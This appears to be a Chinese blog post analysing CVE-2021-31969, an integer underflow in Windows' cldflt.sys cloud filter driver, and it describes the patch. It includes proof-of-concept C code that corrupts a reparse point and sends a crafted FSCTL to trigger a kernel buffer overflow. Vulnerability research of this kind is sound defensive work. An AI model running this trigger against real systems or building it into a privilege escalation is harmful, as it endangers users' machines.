网站首页 > 技术教程 正文
概述
随着云存储的普及,各种操作系统都添加了支持此类存储的服务和功能。现在,用户可以将数据存储到云端,同时可以在本地系统上访问。在Windows上,这是通过云同步引擎完成的。该组件公开了一个称为Cloud Filter API的本地API。该实现可在云文件迷你过滤器驱动程序(cldflt.sys)中找到。
Windows云文件迷你过滤器驱动程序(cldflt.sys)中存在一个整数溢出漏洞。该漏洞被跟踪为CVE-2021-31969,攻击者可以利用该漏洞使内核缓冲区溢出,并能够以提升的权限执行代码。
简单了解云同步引擎
从Windows 10版本1709开始,Windows提供了云文件API。此API由多个本机 Win32和WinRT API组成,这些API正式支持云同步引擎,并处理创建和管理占位符文件和目录等任务。
同步引擎是一种在远程主机和本地客户端之间同步文件的服务,它允许本地用户通过Windows文件系统和文件资源管理器访问云托管的文件和目录。在这种情况下,文件本身保存在云端,而在本地文件系统上,该文件的表示形式称为“占位符”。
云端的文件可能很大,但占位符文件可能只消耗存储头所需的几个字节。当访问占位符文件时,Windows通过同步使关联的云文件可用。在处理占位符文件的过程中可能会触发该漏洞。
漏洞触发方式
以下是该漏洞概念验证(PoC)的几个关键步骤:
1:它首先执行同步根注册,然后启动同步提供器和同步过滤器API之间的通信:
WCHAR* dir = (WCHAR*)L"C:\ProgramData";
GUID guid = { 0 };
guid.Data1 = 0xB196E670;
guid.Data2 = 0x59C7;
guid.Data3 = 0x4D41;
CF_SYNC_REGISTRATION reg = { 0 };
reg.StructSize = sizeof(reg);
reg.ProviderName = L"test";
reg.ProviderVersion = L"1.0";
reg.ProviderId = guid;
CF_SYNC_POLICIES policies = { 0 };
policies.StructSize = sizeof(policies);
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
policies.InSync = CF_INSYNC_POLICY_NONE;
policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
HRESULT hr = CfRegisterSyncRoot(dir, ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (FAILED(hr)){
printf("CfRegisterSyncRoot failed with %p", hr);
return 0;
}
CF_CALLBACK_REGISTRATION table[2];
table[0].Callback = DoTransferCallback;
table[0].Type = CF_CALLBACK_TYPE_FETCH_DATA;
table[1].Callback = nullptr;
table[1].Type = CF_CALLBACK_TYPE_NONE;
CF_CONNECTION_KEY key;
hr = CfConnectSyncRoot(dir, table, 0, CF_CONNECT_FLAG_NONE, &key);2:它获取目标目录的句柄,并通过FSCTL_GET_REPARSE_POINT控制代码检索重解析点数据:
RtlInitUnicodeString(&name, ntDir);
InitializeObjectAttributes(&oa, &name, 0, 0, 0);
ret = NtCreateFile(&hF, 0xC0000000, &oa, &isb, 0, 0, 0, 3, 1, 0, 0);
if (NT_SUCCESS(ret))
{
ret = NtFsControlFile(hF, 0, 0, 0, &isb2, FSCTL_GET_REPARSE_POINT, 0, 0, rb, 0x300);
if (NT_SUCCESS(ret))
{
// ...
}
}3:修改检索到的重解析点数据,将长度设置为零。然后,通过 FSCTL_SET_REPARSE_POINT_EX控制代码将其设置回去(标签设置为 0x9000301A,即IO_REPARSE_TAG_CLOUD_3)。最后,设置参数以通过云过滤器FSCTL(0x903BC)请求占位符更新(代码为0xC0000003):
rb[0xa] = 0;//set (USHORT) length to zero rb[0x9] = 0xfa; rb[0x8] = 0xfa; rb[13] = 0x22; rbLen += *(UINT16*)(rb + 4); rbSet = (char*)malloc(rbLen + setLen); memset(rbSet, 0, rbLen + setLen); *(UINT32*)(rbSet + 0) = 0; *(UINT32*)(rbSet + 4) = 0x9000301A; memcpy(rbSet + setLen, rb, rbLen); ret = NtFsControlFile(hF, 0, 0, 0, &isb2, FSCTL_SET_REPARSE_POINT_EX, rbSet, setLen + rbLen, 0, 0); memset(output, 0, 0x100); *(UINT32*)(output + 0) = 0x9000001a; *(UINT32*)(output + 4) = 0xC0000003; *(UINT32*)(output + 8) = 0x10000; ret = NtFsControlFile(hF, 0, 0, 0, &isb2, 0x903BC, output, 0x100, 0, 0);
内核漏洞
名为cldflt.sys的内核驱动程序负责处理云过滤器FSCTL。与往常一样,这是使用带有大型switch语句的函数来完成的,该函数名为HsmFltProcessHSMControl:
对于代码为0xC0000003的操作,它最终将调用 HsmFltProcessUpdatePlaceholder:
经过一些处理后,执行流程会到达HsmpRpReadBuffer。它首先分配一个缓冲区,然后通过发出FSCTL_GET_REPARSE_POINT控制代码来检索重解析点数据。请注意,检索到的数据可能已被攻击者修改。之后,它调用 HsmpRpiDecompressBuffer:
在HsmpRpiDecompressBuffer内部,提供的长度(已被攻击者设置为零)被检索并增加8。该长度保存在局部变量(length)中,然后用于分配内核缓冲区。不久之后,代码通过调用RtlDecompressBuffer使用分配的缓冲区作为未压缩数据的目标缓冲区继续解压缩数据。然而,它传递给RtlDecompressBuffer的指针并不是分配缓冲区的开始。相反,它提前了12个字节,以便为某些元数据腾出空间。相应地,它传递给RtlDecompressBuffer的缓冲区大小是length减12。
在示例中,这个减法产生了一个整数下溢,因此一个巨大的缓冲区长度值 0xFFFFFFF4被传递给RtlDecompressBuffer,这会导致内核缓冲区溢出。
补丁
微软通过添加检查以确保检索到的长度不小于4来修复此漏洞。这使得整数下溢漏洞无法被触发。
猜你喜欢
- 2024-10-25 Java 17 NIO 知识点 Files 操作(java17课)
- 2024-10-25 PE格式:新建节并插入代码(怎么用pe创建新用户)
- 2024-10-25 入门Java不迷路!一篇教你搞懂Java 「File类」的概述和方法
- 2024-10-25 Qt 之QTemporaryFile用法(创建临时文件)
- 2024-10-25 EndNote使用技巧(4)之七种方法导入文献?一文全搞定
- 2024-10-25 Vue+Element UI实现断点续传、分片上传、秒传
- 2024-10-25 共享数据资源,VBA代码导入已有文本数据文件的方法
- 2024-10-25 (12)文本文件操作参考(文本的基本操作)
- 2024-10-25 使用StreamWriter类的对文件创建写入
- 2024-10-25 大文件上传:秒传、断点续传、分片上传
欢迎 你 发表评论:
- 10-23Excel计算工龄和年份之差_excel算工龄的公式year
- 10-23Excel YEARFRAC函数:时间的"年份比例尺"详解
- 10-23最常用的10个Excel函数,中文解读,动图演示,易学易用
- 10-23EXCEL中如何计算截止到今日(两个时间中)的时间
- 10-2390%人不知道的Excel神技:DATEDIF 精准计算年龄,告别手动算错!
- 10-23计算工龄及工龄工资(90%的人搞错了):DATE、DATEDIF组合应用
- 10-23Excel中如何计算工作日天数?用这两个函数轻松计算,附新年日历
- 10-23怎样快速提取单元格中的出生日期?用「Ctrl+E」批量搞定
- 最近发表
-
- Excel计算工龄和年份之差_excel算工龄的公式year
- Excel YEARFRAC函数:时间的"年份比例尺"详解
- 最常用的10个Excel函数,中文解读,动图演示,易学易用
- EXCEL中如何计算截止到今日(两个时间中)的时间
- 90%人不知道的Excel神技:DATEDIF 精准计算年龄,告别手动算错!
- 计算工龄及工龄工资(90%的人搞错了):DATE、DATEDIF组合应用
- Excel中如何计算工作日天数?用这两个函数轻松计算,附新年日历
- 怎样快速提取单元格中的出生日期?用「Ctrl+E」批量搞定
- Excel日期函数之DATEDIF函数_excel函数datedif在哪里
- Excel函数-DATEDIF求司龄_exceldatedif函数计算年龄
- 标签列表
-
- 下划线是什么 (87)
- 精美网站 (58)
- qq登录界面 (90)
- nginx 命令 (82)
- nginx .http (73)
- nginx lua (70)
- nginx 重定向 (68)
- Nginx超时 (65)
- nginx 监控 (57)
- odbc (59)
- rar密码破解工具 (62)
- annotation (71)
- 红黑树 (57)
- 智力题 (62)
- php空间申请 (61)
- 按键精灵 注册码 (69)
- 软件测试报告 (59)
- ntcreatefile (64)
- 闪动文字 (56)
- guid (66)
- abap (63)
- mpeg 2 (65)
- column (63)
- dreamweaver教程 (57)
- excel行列转换 (56)

本文暂时没有评论,来添加一个吧(●'◡'●)